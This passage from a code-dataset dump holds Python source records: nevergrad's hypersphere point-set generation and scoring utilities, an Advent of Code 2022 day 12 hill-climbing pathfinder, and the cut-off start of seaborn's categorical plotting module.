symmetry.\n # print(\"our multi-index is \", multi_index)\n slices = [[]] * len(shape)\n for c, p in enumerate(multi_index):\n assert p >= 0\n assert p < num_blocks[c]\n a = p * shape[c] // num_blocks[c]\n b = min((p + 1) * shape[c] // num_blocks[c], shape[c])\n slices[c] = slice(a, b)\n slices = tuple(slices)\n # print(slices)\n tentativex[slices] = -tentativex[slices]\n if len(x) >= n:\n return x\n x += [tentativex]\n\n\ndef big_block_symmetry(n, shape):\n return block_symmetry(n, shape, num_blocks=[2, 2])\n\n\ndef covering(n, shape, budget=default_budget, conv=None):\n x = greedy_dispersion_with_conv(n, shape, budget / 2, conv)\n mindists = []\n c = 0.01\n previous_score = float(\"inf\")\n num = 0\n t0 = time.time()\n while time.time() < t0 + 0.01 * budget / 2:\n num = num + 1\n t = normalize([np.random.randn(*shape)])[0]\n convt = convo(t, conv)\n mindist = float(\"inf\")\n for k in range(len(x)):\n dist = np.linalg.norm(convt - convo(x[k], conv))\n if dist < mindist:\n mindist = dist\n index = k\n mindists += [mindist]\n if len(mindists) % 2000 == 0:\n score = np.sum(mindists[-2000:]) / len(mindists[-2000:])\n c *= 2 if score < previous_score else 0.5\n previous_score = score\n # print(score, c)\n x[index] = normalize([x[index] + (c / (35 + n + np.sqrt(num))) * (t - x[index])])[0]\n # print(\"covering:\", scipy.ndimage.gaussian_filter(mindists, budget / 3, mode='reflect')[::len(mindists) // 7])\n return x\n\n\ndef covering_conv(n, shape, budget=default_budget):\n return covering(n, shape, budget, conv=[8, 8])\n\n\ndef covering_mini_conv(n, shape, budget=default_budget):\n return covering(n, shape, budget, conv=[2, 2])\n\n\ndef get_class(x, num_blocks, just_max):\n shape = x.shape\n split_volume = len(num_blocks)\n num_blocks = num_blocks + [1] * (len(shape) - len(num_blocks))\n ranges = [list(range(n)) for n in num_blocks]\n result = []\n for _, multi_index in enumerate(itertools.product(*ranges)):\n slices = [[]] * len(shape)\n for c, p in enumerate(multi_index):\n assert p >= 0\n assert p < num_blocks[c]\n a = p * shape[c] // num_blocks[c]\n b = min((p + 1) * shape[c] // num_blocks[c], shape[c])\n slices[c] = slice(a, b)\n slices = tuple(slices)\n if just_max:\n result = result + [\n list(np.argsort((np.sum(x[slices], tuple(range(split_volume)))).flatten()))[-1]\n ]\n else:\n result = result + list(np.argsort((np.sum(x[slices], tuple(range(split_volume)))).flatten()))\n return hash(str(result))\n\n\ndef jittered(n, shape, num_blocks=None, just_max=False):\n if num_blocks is None:\n num_blocs = [2, 2]\n hash_to_set = defaultdict(list)\n for i in range(int(np.sqrt(n)) * n):\n x = normalize([np.random.randn(*shape)])[0]\n hash_to_set[get_class(x, num_blocks, just_max)] += [x]\n min_num = 10000000\n max_num = -1\n while True:\n for k in hash_to_set.keys():\n min_num = min(min_num, len(hash_to_set[k]))\n max_num = max(max_num, len(hash_to_set[k]))\n # print(f\"min={min_num}, max={max_num}\")\n if min_num < n / len(hash_to_set.keys()):\n x = normalize([np.random.randn(*shape)])[0]\n hash_to_set[get_class(x, num_blocks, just_max)] += [x]\n else:\n break\n x = []\n while len(x) < n:\n num = max(1, (n - len(x)) // len(hash_to_set))\n for k in hash_to_set.keys():\n if len(x) < n:\n # print(f\"Adding {num} in {k}...\")\n x += hash_to_set[k][:num]\n hash_to_set[k] = hash_to_set[k][num:]\n assert len(x) == n\n # print(f\"Jittered used {len(hash_to_set)} classes\")\n return x\n\n\ndef reduced_jittered(n, shape):\n return jittered(n, shape, [2, 2], just_max=True)\n\n\ndef covering_big_conv(n, shape, budget=default_budget):\n return covering(n, shape, budget, [24, 24])\n\n\ndef lhs(n, shape):\n num = np.prod(shape)\n x = np.zeros([n, num])\n for i in range(num):\n xb = (1.0 / n) * np.random.rand(n)\n xplus = np.linspace(0, n - 1, n) / n\n np.random.shuffle(xplus)\n x[:, i] = scipy.stats.norm.ppf(xb + xplus)\n thex = []\n for i in range(n):\n thex += normalize([x[i].reshape(*shape)])\n assert len(thex) == n\n assert thex[0].shape == tuple(shape), f\" we get {x[0].shape} instead of {tuple(shape)}\"\n return thex\n\n\n# list_for_drawing = [\n# \"lhs\",\n# \"reduced_jittered\",\n# \"jittered\",\n# \"big_block_symmetry\",\n# \"block_symmetry\",\n# \"greedy_dispersion\",\n# \"dispersion\",\n# \"pure_random\",\n# \"antithetic_pm\",\n# \"dispersion\",\n# \"antithetic_order\",\n# \"antithetic_order_and_sign\",\n# \"covering_conv\",\n# \"covering\",\n# ]\n#\n#\n# def show_points(x, k):\n# plt.clf()\n# # fig = plt.figure()\n# ##ax = fig.gca(projection='3d')\n# # ax = fig.add_subplot(projection='3d')\n# # ax.set_aspect(\"equal\")\n# # ax.view_init(elev=0., azim=0.)\n#\n# def make_ball(a, b, c, r, col=\"r\"):\n# # u, v = np.mgrid[0:2*np.pi:20j, 0:np.pi:10j]\n# # x = 0.5 + 0.5 * (a+r*np.cos(u)*np.sin(v))\n# # y = 0.5 + 0.5 * (b+r*np.sin(u)*np.sin(v))\n# # z = 0.5 + 0.5 * (c+r*np.cos(v))\n# # ax.plot_wireframe(x, y, z, color=col, zorder=z)\n# u = np.linspace(0, 2 * 3.14159, 40)\n# x = 0.5 + 0.5 * (a + r * np.cos(u))\n# y = 0.5 + 0.5 * (b + r * np.sin(u))\n# plt.plot(x, y, color=col)\n# plt.plot(\n# [0.5, 0.5 + 0.5 * a], [0.5, 0.5 + 0.5 * b], color=col, linestyle=(\"dashed\" if c > 0 else \"solid\")\n# )\n#\n# for i in range(len(x)):\n# if x[i][2] > 0:\n# make_ball(x[i][0], x[i][1], x[i][2], 0.05 * (3 / (3 + x[i][2])), \"g\")\n# make_ball(0, 0, 0, 1, \"r\")\n# for i in range(len(x)):\n# if x[i][2] <= 0:\n# make_ball(x[i][0], x[i][1], x[i][2], 0.05 * (3 / (3 + x[i][2])), \"b\")\n# # plt.show()\n# plt.tight_layout()\n# plt.savefig(f\"sphere3d_{k}.png\")\n\n\n# Let us play with metrics.\ndef metric_half(x, budget=default_budget, conv=None):\n shape = x[0].shape\n t0 = time.time()\n xconv = np.array([convo(x_, conv).flatten() for x_ in x])\n scores = []\n while time.time() < t0 + 0.01 * budget:\n y = convo(normalize([np.random.randn(*shape)])[0], conv).flatten()\n scores += [np.average(np.matmul(xconv, y) > 0.0)]\n return np.average((np.array(scores) - 0.5) ** 2)\n\n\ndef metric_half_conv(x, budget=default_budget):\n return metric_half(x, budget, conv=[8, 8])\n\n\ndef metric_cap(x, budget=default_budget, conv=None):\n shape = x[0].shape\n t0 = time.time()\n c = 1.0 / np.sqrt(len(x[0].flatten()))\n xconv = np.array(normalize([convo(x_, conv).flatten() for x_ in x]))\n scores = []\n while time.time() < t0 + 0.01 * budget:\n y = convo(normalize([np.random.randn(*shape)])[0], conv).flatten()\n scores += [np.average(np.matmul(xconv, y) > c)]\n scores += [np.average(np.matmul(xconv, y) < -c)]\n return np.std(np.array(scores))\n\n\ndef metric_cap_conv(x, budget=default_budget):\n return metric_cap(x, budget, conv=[8, 8])\n\n\ndef metric_pack_absavg(x, budget=default_budget, conv=None):\n shape = x[0].shape\n xconv = np.array(normalize([convo(x_, conv).flatten() for x_ in x]))\n scores = np.matmul(xconv, xconv.transpose())\n for i in range(len(scores)):\n assert 0.99 < scores[i, i] < 1.01\n scores[i, i] = 0\n scores = scores.flatten()\n assert len(scores) == len(x) ** 2\n return np.average(np.abs(scores))\n\n\ndef metric_pack_absavg_conv(x, budget=default_budget):\n return metric_pack_absavg(x, budget=default_budget, conv=[8, 8])\n\n\ndef metric_riesz_avg(x, budget=default_budget, conv=None, r=1.0):\n shape = x[0].shape\n xconv = np.array(normalize([convo(x_, conv).flatten() for x_ in x]))\n scores = []\n for i in range(len(xconv)):\n for j in range(i):\n scores += [np.linalg.norm(xconv[i] - xconv[j]) ** (-r)]\n return np.average(scores)\n\n\ndef metric_riesz_avg2(x, budget=default_budget, conv=None, r=2.0):\n return metric_riesz_avg(x, budget=budget, conv=conv, r=2.0)\n\n\ndef metric_riesz_avg05(x, budget=default_budget, conv=None, r=0.5):\n return metric_riesz_avg(x, budget=budget, conv=conv, r=0.5)\n\n\ndef metric_riesz_avg_conv(x, budget=default_budget, conv=[8, 8], r=1.0):\n return metric_riesz_avg(x, budget=default_budget, conv=conv, r=r)\n\n\ndef metric_riesz_avg_conv2(x, budget=default_budget, conv=[8, 8], r=2.0):\n return metric_riesz_avg(x, budget=default_budget, conv=conv, r=r)\n\n\ndef metric_riesz_avg_conv05(x, budget=default_budget, conv=[8, 8], r=0.5):\n return metric_riesz_avg(x, budget=default_budget, conv=conv, r=r)\n\n\ndef metric_pack_avg(x, budget=default_budget, conv=None):\n shape = x[0].shape\n xconv = np.array(normalize([convo(x_, conv).flatten() for x_ in x]))\n scores = np.matmul(xconv, xconv.transpose())\n for i in range(len(scores)):\n assert 0.99 < scores[i, i] < 1.01\n scores[i, i] = 0\n scores = scores.flatten()\n assert len(scores) == len(x) ** 2\n return np.average(scores)\n\n\ndef metric_pack_avg_conv(x, budget=default_budget):\n return metric_pack_avg(x, budget=default_budget, conv=[8, 8])\n\n\ndef metric_pack(x, budget=default_budget, conv=None):\n shape = x[0].shape\n xconv = np.array(normalize([convo(x_, conv).flatten() for x_ in x]))\n scores = np.matmul(xconv, xconv.transpose())\n for i in range(len(scores)):\n assert 0.99 < scores[i, i] < 1.01, \"we get score \" + str(scores[i, i])\n scores[i, i] = 0\n scores = scores.flatten()\n assert len(scores) == len(x) ** 2\n return max(scores)\n\n\ndef metric_pack_conv(x, budget=default_budget):\n return metric_pack(x, budget=default_budget, conv=[8, 8])\n\n\nlist_of_methods = [\n \"ng_TwoPointsDE\",\n \"ng_DE\",\n \"ng_PSO\",\n \"ng_OnePlusOne\",\n \"ng_DiagonalCMA\",\n \"lhs\",\n \"reduced_jittered\",\n \"jittered\",\n \"big_block_symmetry\",\n \"block_symmetry\",\n \"greedy_dispersion\",\n \"dispersion\",\n \"pure_random\",\n \"antithetic_pm\",\n \"dispersion\",\n \"antithetic_order\",\n \"antithetic_order_and_sign\",\n \"dispersion_with_conv\",\n \"dispersion_with_big_conv\",\n \"greedy_dispersion_with_big_conv\",\n \"dispersion_with_mini_conv\",\n \"greedy_dispersion_with_mini_conv\",\n \"covering\",\n \"covering_conv\",\n \"covering_mini_conv\",\n \"rs\",\n \"rs_mhc\",\n \"rs_pack\",\n \"rs_pa\",\n \"rs_pc\",\n \"rs_pac\",\n \"rs_cap\",\n \"rs_cc\",\n \"rs_all\",\n \"rs_ra\",\n \"rs_ra2\",\n \"rs_ra05\",\n \"rs_rac\",\n \"rs_rac2\",\n \"rs_rac05\",\n]\nlist_metrics = [\n \"metric_half\",\n \"metric_half_conv\",\n \"metric_pack\",\n \"metric_pack_conv\",\n \"metric_pack_avg\",\n \"metric_pack_avg_conv\",\n \"metric_pack_absavg\",\n \"metric_pack_absavg_conv\",\n \"metric_cap\",\n \"metric_cap_conv\",\n \"metric_riesz_avg\",\n \"metric_riesz_avg2\",\n \"metric_riesz_avg05\",\n \"metric_riesz_avg_conv\",\n \"metric_riesz_avg_conv2\",\n \"metric_riesz_avg_conv05\",\n]\nfor u in list_metrics:\n metrics[u] = eval(u)\n\n\ndef rs(n, shape, budget=default_budget, k=\"metric_half\", ngtool=None):\n t0 = time.time()\n bestm = float(\"inf\")\n if ngtool is not None:\n opt = ng.optimizers.registry[ngtool](\n ng.p.Array(shape=tuple([n] + list(shape))), budget=10000000000000\n )\n while time.time() < t0 + 0.01 * budget:\n if ngtool is None:\n x = pure_random(n, shape)\n else:\n candidate = opt.ask()\n x = list(candidate.value)\n assert len(x) == n\n x = normalize(x)\n # m = eval(f\"{k}(x, budget={budget/max(10,np.sqrt(budget/100))})\")\n if k == \"all\":\n m = np.sum(\n [\n metrics[k2](x, (budget / len(list_metrics)) / max(10, np.sqrt(budget / 100)))\n for k2 in list_metrics\n ]\n )\n else:\n m = metrics[k](x, budget / max(10, np.sqrt(budget / 100)))\n if ngtool is not None:\n print(\"ng gets \", m)\n opt.tell(candidate, m)\n if m < bestm:\n bestm = m\n bestx = x\n return bestx\n\n\ndef rs_mhc(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_half_conv\")\n\n\ndef rs_cap(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_cap\")\n\n\ndef rs_cc(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_cap_conv\")\n\n\ndef rs_pack(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_pack\")\n\n\ndef rs_ra(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg\")\n\n\ndef rs_ra2(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg2\")\n\n\ndef rs_ra05(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg05\")\n\n\ndef rs_rac(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg_conv\")\n\n\ndef rs_rac2(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg_conv2\")\n\n\ndef rs_rac05(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_riesz_avg_conv05\")\n\n\ndef rs_pa(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_pack_avg\")\n\n\ndef rs_pc(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_pack_conv\")\n\n\ndef rs_pac(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"metric_pack_avg_conv\")\n\n\ndef rs_all(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\")\n\n\ndef ng_TwoPointsDE(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\", ngtool=\"TwoPointsDE\")\n\n\ndef ng_DE(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\", ngtool=\"DE\")\n\n\ndef ng_PSO(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\", ngtool=\"PSO\")\n\n\ndef ng_OnePlusOne(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\", ngtool=\"OnePlusOne\")\n\n\ndef ng_DiagonalCMA(n, shape, budget=default_budget):\n return rs(n, shape, budget, k=\"all\", ngtool=\"DiagonalCMA\")\n\n\ndata = defaultdict(lambda: defaultdict(list)) # type: ignore\n\n\ndef do_plot(tit, values):\n plt.clf()\n plt.title(tit.replace(\"_\", \" \"))\n x = np.cos(np.linspace(0.0, 2 * 3.14159, 20))\n y = np.sin(np.linspace(0.0, 2 * 3.14159, 20))\n for i, v in enumerate(sorted(values.keys(), key=lambda k: np.average(values[k]))):\n print(f\"context {tit}, {v} ==> {values[v]}\")\n plt.plot([i + r for r in x], [np.average(values[v]) + r * np.std(values[v]) for r in y])\n plt.text(i, np.average(values[v]) + np.std(values[v]), f\"{v}\", rotation=30)\n if i > 0:\n plt.savefig(\n f\"comparison_{tit}_time{default_budget}.png\".replace(\" \", \"_\")\n .replace(\"]\", \"_\")\n .replace(\"[\", \"_\")\n )\n\n\ndef heatmap(y, x, table, name):\n for cn in [\"viridis\", \"plasma\", \"inferno\", \"magma\", \"cividis\"]:\n print(f\"Creating a heatmap with name {name}: {table}\")\n plt.clf()\n fig, ax = plt.subplots()\n tab = copy.deepcopy(table)\n\n for j in range(len(tab[0, :])):\n for i in range(len(tab)):\n tab[i, j] = np.average(table[:, j] < table[i, j])\n print(tab)\n im = ax.imshow(tab, aspect=\"auto\", cmap=mpl.colormaps[cn])\n\n # Show all ticks and label them with the respective list entries\n ax.set_xticks(np.arange(len(x)), labels=x)\n ax.set_yticks(np.arange(len(y)), labels=y)\n\n # Rotate the tick labels and set their alignment.\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Loop over data dimensions and create text annotations.\n for i in range(len(y)):\n for j in range(len(x)):\n text = ax.text(j, i, str(tab[i, j])[:4], ha=\"center\", va=\"center\", color=\"k\")\n\n fig.tight_layout()\n plt.savefig(f\"TIME{default_budget}_cmap{cn}\" + name)\n\n\n#\n# def create_statistics(n, shape, list_of_methods, list_of_metrics, num=1):\n# for _ in range(num):\n# for idx, method in enumerate(list_of_methods):\n# print(f\" {idx}/{len(list_of_methods)}: {method}\")\n# x = eval(f\"{method}(n, shape)\")\n# for k in list_of_metrics:\n# m = eval(f\"{k}(x)\")\n# # xr = pure_random(n, shape)\n# # mr = eval(f\"{k}(xr)\")\n# print(f\"{k} --> {m}\") # , vs {mr} for random\")\n# data[k][method] += [m]\n# if len(data[k]) > 1:\n# do_plot(k + f\"_number{n}_shape{shape}\", data[k])\n# # Now let's do a heatmap\n# tab = np.array([[np.average(data[k][method]) for k in list_of_metrics] for method in list_of_methods])\n# print(\"we have \", tab)\n# heatmap(\n# list_of_methods,\n# list_of_metrics,\n# tab,\n# str(shape) + \"_\" + str(n) + \"_\" + str(np.random.randint(50000)) + \"_bigartifcompa.png\",\n# )\n\n\nfor u in list_of_methods:\n methods[u] = eval(u)\n\n\ndef parallel_create_statistics(n, shape, list_of_methods, list_of_metrics, num=1):\n shape = [int(s) for s in list(shape)]\n for _ in range(num):\n\n def deal_with_method(method):\n print(f\"{method}\")\n # x = eval(f\"methods[method](n, shape)\")\n x = methods[method](n, shape)\n np.array(x).tofile(\n f\"pointset_{n}_{shape}_{method}_{default_budget}_{np.random.randint(50000)}.dat\".replace(\n \" \", \"_\"\n )\n .replace(\"[\", \" \")\n .replace(\"]\", \" \")\n )\n print(f\"{method}({n}, {shape}) created in time {default_budget}\")\n metrics_values = []\n for k in list_of_metrics:\n # m = eval(f\"{k}(x)\")\n m = metrics[k](x)\n # print(f\"{k} --> {m}\") #, vs {mr} for random\")\n metrics_values += [m]\n print(f\"{method}({n}, {shape}) evaluated for {k}\")\n return metrics_values\n\n # for method in list_of_methods:\n results = Parallel(n_jobs=70)(delayed(deal_with_method)(method) for method in list_of_methods)\n for i, method in enumerate(list_of_methods):\n for j, k in enumerate(list_of_metrics):\n data[k][method] += [results[i][j]]\n\n for k in list_of_metrics:\n if len(data[k]) > 1:\n do_plot(k + f\"_number{n}_shape{shape}\", data[k])\n # Now let's do a heatmap\n tab = np.array([[np.average(data[k][method]) for k in list_of_metrics] for method in list_of_methods])\n print(\"we have \", tab)\n # heatmap(list_of_methods, list_of_metrics, tab, \"bigartifcompa.png\")\n heatmap(\n list_of_methods,\n list_of_metrics,\n tab,\n str(shape) + \"_\" + str(n) + \"_\" + str(np.random.randint(50000)) + \"_bigartifcompa.png\",\n )\n # heatmap(list_of_methods, list_of_metrics, tab, str(shape) + \"_\" + str(n) + \"_bigartifcompa.png\")\n\n\n# size=int(np.random.choice([1,1,1,64,32,16]))\n# size=1\n# channels = int(np.random.choice([2,3,4]))\n# if size == 1:\n# channels = np.random.choice([128, 16])\n# numpoints = int(np.random.choice([12, 24, 48, 96, 192, 384]))\n# print(f\"Size={size}, Channels={channels}, numpoints={numpoints}\")\n# parallel_create_statistics(numpoints, [size,size,channels], num=1, list_of_metrics=list_metrics, list_of_methods=list_of_methods)\n##create_statistics(40, [16,16,2])\n# quit()\n## First we play in dimension two.\n# n=30\n# for k in list_for_drawing:\n# print(f\"Testing {k}\")\n# plt.clf()\n# x = eval(f\"{k}(n, [1, 2])\")\n# assert len(x) == n, f\"n={n}, x={x}\"\n# for x_ in x:\n# assert 0.99 < np.linalg.norm(x_.flatten()) < 1.01, f\"{k} fails with norm {np.linalg.norm(x_.flatten())}\"\n# xx = np.array([x[i][0,0] for i in range(len(x))])\n# yy = np.array([x[i][0,1] for i in range(len(x))])\n# indices = np.argsort(xx)\n# xx = xx[indices]\n# yy = yy[indices]\n# nxx = []\n# nyy = []\n# for i in range(len(xx)):\n# nxx += [xx[i], 0]\n# nyy += [yy[i], 0]\n# plt.plot(nxx, nyy, label=k)\n# plt.savefig(\"sphere_\" + k + \".png\")\n## Then dim 3.\n# for k in list_for_drawing:\n# print(f\"Testing {k} in dim 3\")\n# x = eval(f\"{k}(n, [3, 1])\")\n# show_points(x, k)\n\n\ndef bigcheck():\n # Now let us go!\n n = 20 # Let us consider batch size 50\n shape = (8, 8, 3) # Maybe this is what we need for now ?\n for k in [\n \"lhs\",\n \"reduced_jittered\",\n \"jittered\",\n \"big_block_symmetry\",\n \"block_symmetry\",\n \"greedy_dispersion\",\n \"dispersion\",\n \"pure_random\",\n \"antithetic_pm\",\n \"dispersion\",\n \"antithetic_order\",\n \"antithetic_order_and_sign\",\n \"dispersion_with_conv\",\n \"dispersion_with_big_conv\",\n \"greedy_dispersion_with_big_conv\",\n \"dispersion_with_mini_conv\",\n \"greedy_dispersion_with_mini_conv\",\n \"covering\",\n \"covering_conv\",\n \"covering_mini_conv\",\n ]:\n print(\"Starting to play with \", k)\n eval(f\"{k}(n, shape)\")\n print(f\" {k} has been used for generating a batch of {n} points with shape {shape}\")\n\n\n# bigcheck()\n\n\ndef get_a_point_set(n, shape, method=None):\n k = np.random.choice(list_of_methods)\n if method is not None:\n assert method in list_of_methods\n k = method\n print(\"Working with \", k)\n x = eval(f\"{k}({n}, {shape})\")\n for i in range(len(x)):\n assert 0.999 < np.linalg.norm(x[i]) < 1.001, \"we have norm \" + str(np.linalg.norm(x[i]))\n np.array(x).tofile(\n f\"pointset_{n}_{shape}_{method}_{default_budget}_{np.random.randint(50000)}.dat\".replace(\" \", \"_\")\n .replace(\"[\", \" \")\n .replace(\"]\", \" \")\n )\n return k, x\n\n\n# k, x = get_a_point_set(50, (64, 64, 4))\n\n\ndef quasi_randomize(pointset, method):\n n = len(pointset)\n shape = [int(i) for i in list(pointset[0].shape)]\n norms = [np.linalg.norm(pointset[i]) for i in range(n)]\n if method == \"none\":\n if len(shape) > 1 and shape[0] > 5:\n x = dispersion(n, shape, conv=[int(s / 3) for s in list(shape)[:-1]])\n else:\n x = ng_DiagonalCMA(n, shape)\n else:\n x = get_a_point_set(n, shape, method)\n x = normalize(x)\n for i in range(n):\n x[i] = norms[i] * x[i]\n return x\n","repo_name":"facebookresearch/nevergrad","sub_path":"nevergrad/common/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":28243,"program_lang":"python","lang":"en","doc_type":"code","stars":3743,"dataset":"github-code","pt":"78"}
+{"seq_id":"30763277764","text":"from collections import deque\nfrom typing import List, Tuple, NamedTuple, Optional, Dict, Deque, Iterator\n\nfrom common import line_iterator, Direction, Pos\n\n\nclass HeightMap:\n def __init__(self, grid: List[List[int]], width: int, height: int):\n self.grid = grid\n self.width = width\n self.height = height\n\n def get_height(self, pos: Pos) -> int:\n return self.grid[pos.y][pos.x]\n\n def in_bounds(self, pos: Pos) -> bool:\n return 0 <= pos.x < self.width and 0 <= pos.y < self.height\n\n def can_move(self, from_pos: Pos, direction: Direction):\n to_pos = from_pos + direction\n return self.in_bounds(to_pos) and self.get_height(to_pos) <= self.get_height(from_pos) + 1\n\n def scan_all_positions(self) -> Iterator[Pos]:\n for y in range(self.height):\n for x in range(self.width):\n yield Pos(x, y)\n\n\nclass PathNode(NamedTuple):\n step_num: int\n pos: Pos\n step_dir: Optional[Direction]\n\n\nclass Path:\n def __init__(self, nodes: List[PathNode]):\n self.nodes = nodes\n\n @property\n def last_step(self):\n return self.nodes[-1]\n\n def step_in(self, direction: Direction) -> 'Path':\n next_step = PathNode(self.last_step.step_num + 1, self.last_step.pos + direction, direction)\n return Path(self.nodes + [next_step])\n\n\ndef solve(height_map: HeightMap, start_pos: Pos, end_pos: Pos) -> Optional[Path]:\n # this algorithm can be optimized to significantly reduce memory usage\n start_path = Path([PathNode(step_num=0, pos=start_pos, step_dir=None)])\n locations: Dict[Pos, Path] = {start_pos: start_path}\n last_steps: Deque[Path] = deque((start_path,))\n while last_steps:\n new_steps: Deque[Path] = deque()\n while last_steps:\n path = last_steps.popleft()\n path_pos = path.last_step.pos\n for d in Direction:\n if not height_map.can_move(path_pos, d):\n continue\n if path_pos + d not in locations:\n new_path = path.step_in(d)\n if new_path.last_step.pos == end_pos:\n return new_path\n locations[new_path.last_step.pos] = new_path\n new_steps.append(new_path)\n last_steps = new_steps\n return None\n\n\ndef read_input(input_str: str) -> Tuple[HeightMap, Pos, Pos]:\n start_pos = None\n end_pos = None\n width = None\n grid: List[List[int]] = []\n for y, line in enumerate(line_iterator(input_str)):\n if width is None:\n width = len(line)\n elif len(line) != width:\n raise RuntimeError('Inconsistent map width')\n if 'S' in line:\n start_pos = Pos(line.index('S'), y)\n line = line.replace('S', 'a')\n if 'E' in line:\n end_pos = Pos(line.index('E'), y)\n line = line.replace('E', 'z')\n row = []\n for c in line:\n h = ord(c) - 97\n if not 0 <= h <= 25:\n raise RuntimeError(f'Invalid height: \"{c}\" in line {y + 1}')\n row.append(h)\n grid.append(row)\n if start_pos is None or end_pos is None:\n raise RuntimeError('Missing start or end position')\n return HeightMap(grid=grid, width=width, height=len(grid)), start_pos, end_pos\n\n\ndef d12p1_solution(input_str: str) -> str:\n height_map, start_pos, end_pos = read_input(input_str)\n solution = solve(height_map=height_map, start_pos=start_pos, end_pos=end_pos)\n if solution is None:\n raise RuntimeError('No solution was found')\n return str(solution.last_step.step_num)\n\n\ndef d12p2_solution(input_str: str) -> str:\n # this could be optimised by running pathfinder backwards and treating any height=0 as solution\n height_map, _, end_pos = read_input(input_str)\n lowest_elevations = [s for s in height_map.scan_all_positions() if height_map.get_height(s) == 0]\n best_trail: Optional[Path] = None\n for start in lowest_elevations:\n solution = solve(height_map=height_map, start_pos=start, end_pos=end_pos)\n if solution is not None:\n if best_trail is None or solution.last_step.step_num < best_trail.last_step.step_num:\n best_trail = solution\n if best_trail is None:\n raise RuntimeError('No trails are possible')\n return str(best_trail.last_step.step_num)\n\n\nif __name__ == '__main__':\n from main import run_puzzle\n run_puzzle(day=12, part=1)\n run_puzzle(day=12, part=2)\n","repo_name":"seimmuc/advent-of-code-2022","sub_path":"solutions/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42033315338","text":"from textwrap import dedent\nfrom numbers import Number\nimport colorsys\nimport numpy as np\nfrom scipy import stats\nimport pandas as pd\nimport matplotlib as mpl\nfrom matplotlib.collections import PatchCollection\nimport matplotlib.patches as Patches\nimport matplotlib.pyplot as plt\nimport warnings\nfrom distutils.version import LooseVersion\n\nfrom ._core import variable_type, infer_orient, categorical_order\nfrom . import utils\nfrom .utils import remove_na\nfrom .algorithms import bootstrap\nfrom .palettes import color_palette, husl_palette, light_palette, dark_palette\nfrom .axisgrid import FacetGrid, _facet_docs\nfrom ._decorators import _deprecate_positional_args\n\n\n__all__ = [\n \"catplot\", \"factorplot\",\n \"stripplot\", \"swarmplot\",\n \"boxplot\", \"violinplot\", \"boxenplot\",\n \"pointplot\", \"barplot\", \"countplot\",\n]\n\n\nclass _CategoricalPlotter(object):\n\n width = .8\n default_palette = \"light\"\n require_numeric = True\n\n def establish_variables(self, x=None, y=None, hue=None, data=None,\n orient=None, order=None, hue_order=None,\n units=None):\n \"\"\"Convert input specification into a common representation.\"\"\"\n # Option 1:\n # We are plotting a wide-form dataset\n # -----------------------------------\n if x is None and y is None:\n\n # Do a sanity check on the inputs\n if hue is not None:\n error = \"Cannot use `hue` without `x` and `y`\"\n raise ValueError(error)\n\n # No hue grouping with wide inputs\n plot_hues = None\n hue_title = None\n hue_names = None\n\n # No statistical units with wide inputs\n plot_units = None\n\n # We also won't get a axes labels here\n value_label = None\n group_label = None\n\n # Option 1a:\n # The input data is a Pandas DataFrame\n # ------------------------------------\n\n if isinstance(data, pd.DataFrame):\n\n # Order the data correctly\n if order is None:\n order = []\n # Reduce to just numeric columns\n for col in data:\n if variable_type(data[col]) == \"numeric\":\n order.append(col)\n plot_data = data[order]\n group_names = order\n group_label = data.columns.name\n\n # Convert to a list of arrays, the common representation\n iter_data = plot_data.iteritems()\n plot_data = [np.asarray(s, float) for k, s in iter_data]\n\n # Option 1b:\n # The input data is an array or list\n # ----------------------------------\n\n else:\n\n # We can't reorder the data\n if order is not None:\n error = \"Input data must be a pandas object to reorder\"\n raise ValueError(error)\n\n # The input data is an array\n if hasattr(data, \"shape\"):\n if len(data.shape) == 1:\n if np.isscalar(data[0]):\n plot_data = [data]\n else:\n plot_data = list(data)\n elif len(data.shape) == 2:\n nr, nc = data.shape\n if nr == 1 or nc == 1:\n plot_data = [data.ravel()]\n else:\n plot_data = [data[:, i] for i in range(nc)]\n else:\n error = (\"Input `data` can have no \"\n \"more than 2 dimensions\")\n raise ValueError(error)\n\n # Check if `data` is None to let us bail out here (for testing)\n elif data is None:\n plot_data = [[]]\n\n # The input data is a flat list\n elif np.isscalar(data[0]):\n plot_data = [data]\n\n # The input data is a nested list\n # This will catch some things that might fail later\n # but exhaustive checks are hard\n else:\n plot_data = data\n\n # Convert to a list of arrays, the common representation\n plot_data = [np.asarray(d, float) for d in plot_data]\n\n # The group names will just be numeric indices\n group_names = list(range((len(plot_data))))\n\n # Figure out the plotting orientation\n orient = \"h\" if str(orient).startswith(\"h\") else \"v\"\n\n # Option 2:\n # We are plotting a long-form dataset\n # -----------------------------------\n\n else:\n\n # See if we need to get variables from `data`\n if data is not None:\n x = data.get(x, x)\n y = data.get(y, y)\n hue = data.get(hue, hue)\n units = data.get(units, units)\n\n # Validate the inputs\n for var in [x, y, hue, units]:\n if isinstance(var, str):\n err = \"Could not interpret input '{}'\".format(var)\n raise ValueError(err)\n\n # Figure out the plotting orientation\n orient = infer_orient(\n x, y, orient, require_numeric=self.require_numeric\n )\n\n # Option 2a:\n # We are plotting a single set of data\n # ------------------------------------\n if x is None or y is None:\n\n # Determine where the data 